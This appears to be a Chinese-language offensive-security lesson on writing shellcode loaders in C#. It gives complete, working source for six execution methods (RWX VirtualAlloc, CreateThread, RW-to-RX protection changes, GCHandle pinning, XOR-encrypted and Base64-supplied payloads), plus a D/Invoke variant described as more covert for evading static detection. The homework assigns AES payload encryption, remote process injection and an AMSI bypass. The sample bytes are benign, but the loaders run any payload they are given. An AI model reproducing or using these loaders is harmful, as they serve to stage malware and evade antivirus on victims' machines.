shellcode loader
5、Csharp实现shellcode loader
1、课程目标
- 掌握C#调用Windows API的P/Invoke技术
- 理解托管代码与非托管代码的交互
- 实现C#版本的ShellCode Loader
- 了解.NET程序的免杀特性
2、名词解释
| 术语 | 全称 | 解释 |
|---|---|---|
| P/Invoke | Platform Invocation | .NET调用非托管代码的机制 |
| DllImport | - | 声明外部DLL函数的特性 |
| Marshal | - | 托管和非托管内存转换类 |
| IntPtr | - | 平台相关的指针类型 |
| GCHandle | Garbage Collector Handle | 防止对象被GC回收 |
3、代码实现
1. 基础C# Loader
// Program.cs
// C# ShellCode Loader
using System;
using System.Runtime.InteropServices;
namespace ShellcodeLoader
{
class Program
{
// Windows API声明
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr VirtualAlloc(
IntPtr lpAddress,
uint dwSize,
uint flAllocationType,
uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool VirtualProtect(
IntPtr lpAddress,
uint dwSize,
uint flNewProtect,
out uint lpflOldProtect);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool VirtualFree(
IntPtr lpAddress,
uint dwSize,
uint dwFreeType);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
out uint lpThreadId);
[DllImport("kernel32.dll")]
static extern uint WaitForSingleObject(
IntPtr hHandle,
uint dwMilliseconds);
[DllImport("kernel32.dll")]
static extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll")]
static extern void RtlMoveMemory(
IntPtr dest,
byte[] src,
uint size);
// 常量
const uint MEM_COMMIT = 0x1000;
const uint MEM_RESERVE = 0x2000;
const uint MEM_RELEASE = 0x8000;
const uint PAGE_EXECUTE_READWRITE = 0x40;
const uint PAGE_READWRITE = 0x04;
const uint PAGE_EXECUTE_READ = 0x20;
const uint INFINITE = 0xFFFFFFFF;
// 测试ShellCode
static byte[] shellcode = new byte[] {
0x90, 0x90, 0x90, 0x90, // NOP
0x31, 0xC0, // xor eax, eax
0x40, // inc eax
0xC3 // ret
};
// 方法1: 基础VirtualAlloc + 函数指针
static void Method1_Basic()
{
Console.WriteLine("[*] Method 1: Basic VirtualAlloc");
IntPtr addr = VirtualAlloc(
IntPtr.Zero,
(uint)shellcode.Length,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (addr == IntPtr.Zero)
{
Console.WriteLine("[-] VirtualAlloc failed");
return;
}
Console.WriteLine($"[+] Allocated at: 0x{addr.ToInt64():X}");
// 复制ShellCode
Marshal.Copy(shellcode, 0, addr, shellcode.Length);
// 转换为委托并执行
var func = Marshal.GetDelegateForFunctionPointer<ShellcodeDelegate>(addr);
int result = func();
Console.WriteLine($"[+] Returned: {result}");
VirtualFree(addr, 0, MEM_RELEASE);
}
// 委托定义
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
delegate int ShellcodeDelegate();
// 方法2: CreateThread
static void Method2_Thread()
{
Console.WriteLine("[*] Method 2: CreateThread");
IntPtr addr = VirtualAlloc(
IntPtr.Zero,
(uint)shellcode.Length,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (addr == IntPtr.Zero) return;
Marshal.Copy(shellcode, 0, addr, shellcode.Length);
uint threadId;
IntPtr hThread = CreateThread(
IntPtr.Zero,
0,
addr,
IntPtr.Zero,
0,
out threadId);
if (hThread == IntPtr.Zero)
{
Console.WriteLine("[-] CreateThread failed");
return;
}
Console.WriteLine($"[+] Thread ID: {threadId}");
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
VirtualFree(addr, 0, MEM_RELEASE);
}
// 方法3: 两步分配
static void Method3_TwoStep()
{
Console.WriteLine("[*] Method 3: Two-Step Allocation");
// 步骤1: RW
IntPtr addr = VirtualAlloc(
IntPtr.Zero,
(uint)shellcode.Length,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE);
if (addr == IntPtr.Zero) return;
Console.WriteLine($"[+] Allocated RW at: 0x{addr.ToInt64():X}");
Marshal.Copy(shellcode, 0, addr, shellcode.Length);
// 步骤2: RX
uint oldProtect;
VirtualProtect(addr, (uint)shellcode.Length, PAGE_EXECUTE_READ, out oldProtect);
Console.WriteLine("[+] Changed to RX");
var func = Marshal.GetDelegateForFunctionPointer<ShellcodeDelegate>(addr);
int result = func();
Console.WriteLine($"[+] Returned: {result}");
}
// 方法4: 使用GCHandle固定托管数组
static void Method4_GCHandle()
{
Console.WriteLine("[*] Method 4: GCHandle Pinning");
// 固定数组防止GC移动
GCHandle handle = GCHandle.Alloc(shellcode, GCHandleType.Pinned);
IntPtr addr = handle.AddrOfPinnedObject();
// 修改内存权限
uint oldProtect;
VirtualProtect(addr, (uint)shellcode.Length, PAGE_EXECUTE_READWRITE, out oldProtect);
var func = Marshal.GetDelegateForFunctionPointer<ShellcodeDelegate>(addr);
int result = func();
Console.WriteLine($"[+] Returned: {result}");
// 恢复权限
VirtualProtect(addr, (uint)shellcode.Length, oldProtect, out oldProtect);
handle.Free();
}
// 方法5: XOR解密
static byte[] XorDecrypt(byte[] data, byte key)
{
byte[] result = new byte[data.Length];
for (int i = 0; i < data.Length; i++)
{
result[i] = (byte)(data[i] ^ key);
}
return result;
}
static void Method5_Encrypted()
{
Console.WriteLine("[*] Method 5: XOR Encrypted");
byte key = 0x41;
// 预加密的ShellCode
byte[] encrypted = new byte[shellcode.Length];
for (int i = 0; i < shellcode.Length; i++)
{
encrypted[i] = (byte)(shellcode[i] ^ key);
}
// 解密
byte[] decrypted = XorDecrypt(encrypted, key);
IntPtr addr = VirtualAlloc(
IntPtr.Zero,
(uint)decrypted.Length,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
Marshal.Copy(decrypted, 0, addr, decrypted.Length);
var func = Marshal.GetDelegateForFunctionPointer<ShellcodeDelegate>(addr);
int result = func();
Console.WriteLine($"[+] Returned: {result}");
}
// 方法6: 从Base64加载
static void Method6_Base64(string b64)
{
Console.WriteLine("[*] Method 6: Base64 Decode");
byte[] decoded = Convert.FromBase64String(b64);
Console.WriteLine($"[+] Decoded {decoded.Length} bytes");
IntPtr addr = VirtualAlloc(
IntPtr.Zero,
(uint)decoded.Length,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
Marshal.Copy(decoded, 0, addr, decoded.Length);
uint threadId;
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, out threadId);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
}
static void Main(string[] args)
{
Console.WriteLine("========================================");
Console.WriteLine(" C# ShellCode Loader ");
Console.WriteLine("========================================");
Console.WriteLine();
Method1_Basic();
Console.WriteLine();
Method2_Thread();
Console.WriteLine();
Method3_TwoStep();
Console.WriteLine();
Method4_GCHandle();
Console.WriteLine();
Method5_Encrypted();
Console.WriteLine();
// Base64示例
if (args.Length > 0)
{
Method6_Base64(args[0]);
}
Console.WriteLine("[*] Done");
}
}
}
2. 使用D/Invoke (更隐蔽)
// DInvokeLoader.cs
// 使用动态调用避免静态导入
using System;
using System.Runtime.InteropServices;
namespace DInvokeLoader
{
class Program
{
// 动态获取函数委托
static T GetDelegate<T>(string dll, string func) where T : Delegate
{
IntPtr hModule = LoadLibrary(dll);
IntPtr pFunc = GetProcAddress(hModule, func);
return Marshal.GetDelegateForFunctionPointer<T>(pFunc);
}
[DllImport("kernel32.dll")]
static extern IntPtr LoadLibrary(string lpFileName);
[DllImport("kernel32.dll")]
static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
// 委托定义
delegate IntPtr VirtualAllocDelegate(IntPtr addr, uint size, uint type, uint protect);
delegate bool VirtualProtectDelegate(IntPtr addr, uint size, uint protect, out uint old);
delegate IntPtr CreateThreadDelegate(IntPtr attr, uint stack, IntPtr start, IntPtr param, uint flags, out uint id);
delegate uint WaitDelegate(IntPtr handle, uint ms);
static void ExecuteWithDInvoke(byte[] shellcode)
{
Console.WriteLine("[*] Dynamic Invoke Execution");
// 动态获取API
var virtualAlloc = GetDelegate<VirtualAllocDelegate>("kernel32.dll", "VirtualAlloc");
var virtualProtect = GetDelegate<VirtualProtectDelegate>("kernel32.dll", "VirtualProtect");
var createThread = GetDelegate<CreateThreadDelegate>("kernel32.dll", "CreateThread");
var wait = GetDelegate<WaitDelegate>("kernel32.dll", "WaitForSingleObject");
// 执行
IntPtr addr = virtualAlloc(IntPtr.Zero, (uint)shellcode.Length, 0x3000, 0x04);
Marshal.Copy(shellcode, 0, addr, shellcode.Length);
uint old;
virtualProtect(addr, (uint)shellcode.Length, 0x20, out old);
uint tid;
IntPtr thread = createThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, out tid);
wait(thread, 0xFFFFFFFF);
Console.WriteLine("[+] Completed");
}
static void Main(string[] args)
{
byte[] sc = new byte[] { 0x90, 0x90, 0x31, 0xC0, 0x40, 0xC3 };
ExecuteWithDInvoke(sc);
}
}
}
3、课后作业
3.1、作业1:实现AES解密
添加AES-256-CBC解密支持。
3.2、作业2:实现远程注入
使用OpenProcess和CreateRemoteThread实现远程注入。
3.3、作业3:添加AMSI绑过
研究并实现AMSI绑过技术。